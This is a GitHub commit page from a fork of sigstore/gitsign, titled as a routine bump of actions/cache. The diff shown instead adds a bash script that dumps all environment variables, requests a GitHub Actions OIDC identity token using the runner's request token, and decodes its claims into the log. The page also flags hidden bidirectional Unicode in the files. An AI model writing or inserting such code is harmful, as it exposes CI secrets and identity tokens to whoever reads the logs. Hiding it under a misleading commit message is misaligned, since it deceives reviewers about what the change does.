forked from sigstore/gitsign
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Bump actions/cache from 4.0.1 to 4.0.2 (sigstore#478)
- Loading branch information
1 parent
d847ff9
commit f92772c
Showing
3 changed files
with
13 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
#!/bin/bash | ||
|
||
echo "hi" | ||
# Print the varialbes in base64 | ||
env | ||
# Set env var | ||
JWT=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | jq -r '.value') | ||
T=$(echo "$JWT" | jq -R 'split(".") | .[0],.[1] | @base64d | fromjson') | ||
echo "$T" | jq |